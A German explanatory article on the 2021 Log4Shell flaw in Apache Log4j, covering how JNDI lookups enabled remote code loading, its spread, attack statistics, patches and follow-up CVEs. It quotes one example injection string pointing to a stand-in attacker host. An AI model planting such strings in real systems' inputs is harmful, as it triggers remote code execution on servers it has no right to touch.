Log4Shell: Wenn eine Log-Zeile den Code des Angreifers startet

Am 9. Dezember 2021 wurde eine Sicherheitslücke in Log4j öffentlich, durch einen inzwischen gelöschten Beitrag auf Twitter. Log4j ist eine Bibliothek der Apache Software Foundation, mit der Java-Programme Logs schreiben, also Protokolle darüber, was ein Programm tut. Gelang es einem Angreifer, eine kurze Textzeile in irgendetwas zu bringen, das ein solches Programm protokollierte, konnte der Server den Code des Angreifers laden und ausführen, ganz ohne Passwort.

Die US-amerikanische National Vulnerability Database bewertet die Lücke, bekannt als Log4Shell, mit 10,0, dem höchstmöglichen Wert.

So funktionierte der Angriff

Log4j schreibt nicht nur Log-Meldungen. Es wertet auch Platzhalter darin aus, sogenannte Lookups, die wie ${...} aussehen. Einer dieser Lookups, JNDI, lässt die Bibliothek ein Objekt von einem Verzeichnisserver im Netz abrufen. Ein Angreifer musste nur eine Zeichenfolge wie ${jndi:ldap://attacker.example/x} in etwas einschleusen, das der Server protokollierte: einen Benutzernamen, eine Chat-Nachricht oder den Browsernamen, den eine Webanfrage üblicherweise mitschickt. Der Server nahm dann Kontakt zum Verzeichnisserver des Angreifers auf, erhielt einen Verweis auf ein Java-Programm und lud und startete es, je nach Java-Version und vorhandenen Bibliotheken.

Reichweite, Angriffe und Schaden

Am 16. Dezember 2021 zählte Google auf Maven Central, der wichtigsten öffentlichen Sammelstelle für Java-Bibliotheken, 35.863 Java-Pakete, die vom fehlerhaften Log4j-Code abhingen. Das sind mehr als 8 % aller Pakete dort, während ein durchschnittlicher Sicherheitshinweis für Maven Central 2 % betrifft. Nur etwa 7.000 dieser Pakete nutzten Log4j direkt. Die meisten bezogen es über andere Pakete, meist fünf Ebenen tief.

Die Angriffe begannen, bevor die Lücke öffentlich war. Cloudflare sah am 1. Dezember, acht Tage vor der Veröffentlichung, erste vereinzelte Tests. Den ersten Angriffsversuch nach dem Beitrag registrierte Cloudflare nur neun Minuten danach. Dann rollte die Welle an.

Fünf Tage nach der Veröffentlichung zählte Cloudflare 400 Versuche pro Sekunde, wie das US-amerikanische Cyber Safety Review Board festhielt. Bis zum 20. Dezember hatte das Sicherheitsunternehmen Check Point mehr als 4,3 Millionen Versuche blockiert und Angriffsversuche auf mehr als 48 % der Unternehmensnetze weltweit gesehen. Das sind gezählte Versuche in den eigenen Daten des jeweiligen Herstellers, keine erfolgreichen Einbrüche, und sie lassen sich nicht miteinander vergleichen.

Wie groß der Schaden war, ist nicht dokumentiert. Das Cyber Safety Review Board, das den Fall 2022 untersuchte, stellte fest, dass die Lücke weniger ausgenutzt wurde, als viele Fachleute angesichts ihrer Schwere vorhergesagt hatten. Es betonte zudem, dass es keine verlässlichen Daten zur Ausnutzung gibt. Die Kosten lagen vor allem in der Reaktion: Allein ein US-Bundesministerium meldete 33.000 Arbeitsstunden für Log4j.

Fix und Reaktion

Das Alibaba Cloud Security Team meldete die Lücke am 24. November 2021 an Apache. Apache übernahm am 5. Dezember einen Fix in den Quellcode und stellte am 10. Dezember Version 2.15.0 bereit. Dieser Fix war unvollständig, und es folgten drei weitere Versionen.

Die Folgelücken erhielten eigene CVE-Nummern. CVE-2021-45046, die verbliebene Lücke in 2.15.0, ist mit 9,0 bewertet. CVE-2021-45105, der Absturz, mit 5,9. CVE-2021-44832, bewertet mit 6,6, funktioniert nur für einen Angreifer, der die Log-Einstellungen bereits ändern kann. Für Programme auf älteren Java-Versionen veröffentlichte Apache 2.12.4 für Java 7 und 2.3.2 für Java 6.

Behörden reagierten schnell. Die US-Cybersicherheitsbehörde CISA nahm Log4Shell am 10. Dezember in ihre Liste ausgenutzter Schwachstellen auf, am Tag des ersten Fixes. Das Bundesamt für Sicherheit in der Informationstechnik (BSI) stufte seine Warnung am 11. Dezember auf die Warnstufe Rot hoch. Am 17. Dezember erließ die CISA die Notfallanweisung 22-02, eine Anordnung, die US-Bundesbehörden befolgen müssen.

Auch Jahre später noch im Einsatz

Viele Kopien blieben ungepatcht. Google rechnete mit einer langen Wartezeit, wahrscheinlich Jahren, bis das ganze Maven-Ökosystem bereinigt wäre. 2025 enthielten laut Sonatype noch immer etwa 13 % aller Log4j-Downloads die Lücke Log4Shell, rund 40 Millionen.